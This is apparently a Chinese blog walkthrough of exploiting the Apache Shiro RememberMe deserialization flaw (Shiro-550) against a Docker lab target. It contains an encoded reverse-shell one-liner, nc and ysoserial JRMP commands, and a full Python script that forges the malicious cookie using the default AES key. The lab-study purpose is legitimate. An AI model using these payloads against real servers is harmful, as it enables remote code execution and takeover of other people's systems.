zoukankan      html  css  js  c++  java
  • Shiro remeberMe反序列化漏洞(Shiro-550)

    1.漏洞原理

    Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

    那么,Payload产生的过程:命令=》序列化=》AES加密=》base64编码=》RememberMe Cookie值

    在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么久很容易就知道密钥,payload构造起来也是十分简单。

    1.1影响版本:Apache Shiro < 1.2.4

    1.2特征判断:返回包中包含rememberMe=deleteMe字段


    2.漏洞发现

    2.1环境搭建

    获取docker镜像

    docker pull medicean/vulapps:s_shiro_1

    启动docker镜像:

    docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

    2.2漏洞检测

    这里使用一个shiro_exploit工具,检查是否存在默认的key

    github项目地址:https://github.com/insightglacier/Shiro_exploit

    使用方法:python2 shiro_exploit.py –u 目标机地址及端口

    image

    image

    会不停的匹配key值,共22种。通过对靶场的测试我们发现使用红框里的AES密钥,有了key之后有两种利用方式。

    3.漏洞利用

    3.1利用方式一:反弹shell

    3.1.1制作反弹shell代码

    监听本地端口

    nc –lvp 1234

    Java Runtime配合bash编码,在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

    得到编码后的结果:  bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

    image

    3.1.2通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"

    3.1.3使用shiro.py生成payload

    python shiro.py 192.168.21.129:6666

    shiro.py代码如下:

    import sys

    import uuid

    import base64

    import subprocess

    from Crypto.Cipher import AES

    def encode_rememberme(command):

         popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)

         BS = AES.block_size

         pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

         key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

         iv = uuid.uuid4().bytes

         encryptor = AES.new(key, AES.MODE_CBC, iv)

         file_body = pad(popen.stdout.read())

         base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))

         return base64_ciphertext

    if __name__ == '__main__':

         payload = encode_rememberme(sys.argv[1])  

    print "rememberMe={0}".format(payload.decode())

    image

    3.1.4构造数据包,伪造cookie,发送payload

    输入任意账号密码,记住选择rememberme选项

    image

    将之前生成的payload加入到cookie中发送

    image

    nc监听端口,成功反弹

    image

    Java监听接口,查看服务器链接情况

    image

    一键化自动化工具:https://github.com/feihong-cs/ShiroExploit

  • 相关阅读:
    matlab:画二维正态分布密度函数图
    几个机器学习上的概念
    相似性度量
    二分图最大匹配问题
    过三关(tictactoe)游戏的LIBSVM解决方法
    关于二分图的一些概念
    用NSZombieEnabled解决恼人的EXC_BAD_ACCESS错误
    SMARTARM2200 ADS工程在IAR EWARM 5.3上的移植(1)启动代码(cstartup.s)分析
    iOS开发-用ZipArchive添加和解压zip包
    iOS程序内进入 App Store 打分的代码
  • 原文地址:https://www.cnblogs.com/sup3rman/p/13322898.html
Copyright © 2011-2022 走看看